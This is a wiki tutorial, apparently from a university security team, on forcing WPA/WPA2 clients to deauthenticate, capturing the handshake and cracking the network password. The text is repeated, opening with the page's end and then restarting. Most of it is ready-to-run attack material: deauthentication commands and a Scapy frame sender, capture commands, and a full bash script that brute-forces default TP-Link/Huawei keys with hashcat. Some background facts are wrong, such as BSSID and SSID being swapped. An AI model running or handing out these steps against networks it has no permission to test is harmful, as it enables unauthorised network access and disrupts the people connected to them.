<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:49:01Z

RSchuller: /* Capture handshake */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
